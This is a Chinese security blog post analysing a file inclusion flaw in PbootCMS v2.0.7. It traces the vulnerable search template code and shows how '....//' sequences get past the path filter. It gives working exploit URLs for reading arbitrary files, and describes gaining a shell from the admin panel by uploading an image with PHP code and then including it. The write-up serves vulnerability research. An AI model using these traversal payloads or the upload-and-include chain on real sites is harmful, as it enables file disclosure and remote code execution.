PbootCMS 文件包含后台getshell

admin 2021年5月6日18:32:48评论1,228 views字数 2461阅读8分12秒阅读模式

0x00 漏洞描述

版本:v2.0.7
1、文件读取:是通过include 包含文件,所以不可以读php文件。
2、后台GETSHELl:是通过前面的文件包含来组合getshell

0x01 文件包含

文件:/apps/home/controller/SearchController.php
方法:index

public function index()
{
    $searchtpl = request('searchtpl');
    if (! preg_match('/^[w-./]+$/', $searchtpl)) {
        $searchtpl = 'search.html';
    }

    $content = parent::parser($this->htmldir . $searchtpl); // 框架标签解析
//……
    echo $content; // 搜索页面不缓存
    exit();
}

1、获取searchtpl并赋值到$searchtpl变量,下面这个正则没看懂是啥意思。
2、带入parent::parser 类方法,跟进。

文件:/core/basic/Controller.php
``` // 解析模板
final protected function parser($file)
{
$view = View::getInstance();
return $view->parser($file);
}

```

1、获取View的实例
2、把传入的变量带入$view->parser($file);方法,跟进。

文件:/core/view/View.php

// 解析模板文件
public function parser($file)
{
    //……
    $theme = preg_replace('/..(/|\)/', '', $theme); // 过滤掉相对路径
    $file = preg_replace('/..(/|\)/', '', $file); // 过滤掉相对路径
    if (strpos($file, '/') === 0) { =
//……
    } elseif (! ! $pos = strpos($file, '@')) {
//……
    } else {
        // 定义当前应用主题目录
        define('APP_THEME_DIR', str_replace(DOC_PATH, '', APP_VIEW_PATH) . '/' . $theme);
        if (! is_dir($this->tplPath .= '/' . $theme)) { // 检查主题是否存在
            error('模板主题目录不存在!主题路径:' . APP_THEME_DIR);
        }
        $tpl_file = $this->tplPath . '/' . $file; // 模板文件
    }
 //……
    file_exists($tpl_file) ?: error('模板文件' . APP_THEME_DIR . '/' . $file . '不存在!' . $note);
    $tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php'; // 编译文件

    // 当编译文件不存在,或者模板文件修改过,则重新生成编译文件
    if (! file_exists($tpl_c_file) || filemtime($tpl_c_file) < filemtime($tpl_file) || ! Config::get('tpl_parser_cache')) {
        $content = Parser::compile($this->tplPath, $tpl_file); // 解析模板
        file_put_contents($tpl_c_file, $content) ?: error('编译文件' . $tpl_c_file . '生成出错!请检查目录是否有可写权限!'); // 写入编译文件
        $compile = true;
    }

    ob_start(); // 开启缓冲区,引入编译文件
    $rs = include $tpl_c_file;
//……
    $content = ob_get_contents();
    ob_end_clean();
    return $content;
}
  1. 通过正则过滤替换掉$file变量里的../,可通过....//绕过。
  2. if语句对模版目录进行判断,不管进入哪个分支都会通过拼接$file生成一个$tpl_file 变量。
  3. 判断$tpl_file 文件是否存在。不存在报错。
  4. $tpl_c_file = $this->tplcPath . '/' . md5($tpl_file) . '.php';
  5. $tpl_c_file 文件不存在重新写出文件。
  6. $rs = include $tpl_c_file;
  7. 获取$content、返回$content
  8. 会到index方法解析并输出$content。
  9. 文件包含读取完成。

0x02 后台GETSHELL

简述:后台GETSHELL的话就是利用后台的图片上传功能上传一个图片马,通过文件包含来执行PHP代码。

0x03 漏洞利用

文件读取
http://pboot.test/?keyword=12&searchtpl=..././....//....//....//....//....//....//....//....//....//....//python27/news.txt

PbootCMS 文件包含后台getshell

后台GETSHELL
1、管理员权限
2、通过ueditor上传文件

```

```

3、执行PHP代码
拿到上传的图片路径
/static/upload/file/20200425/1587803636871800.png

http://pboot.test/?keyword=12&searchtpl=....//....//....///static/upload/file/20200425/1587803636871800.png

4、后台GETSHELL完成。

PbootCMS 文件包含后台getshell

相关推荐: 【情人节警报】看我如何智斗陌陌情爱骗子

虽然情人节已过完,但还有下一个,下下个,所以这个案例我必须要分享,提醒大家别掉入恋爱陷阱,下面是两个常见套路 还有这个 别笑话我用陌陌,还不是因为家里催得紧,病急乱投医了嘛,没事就逛一逛 首先我们先理一下,遇到骗子应该怎么办: 1、保护好自己的隐私,不要泄露任…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月6日18:32:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PbootCMS 文件包含后台getshellhttp://cn-sec.com/archives/246470.html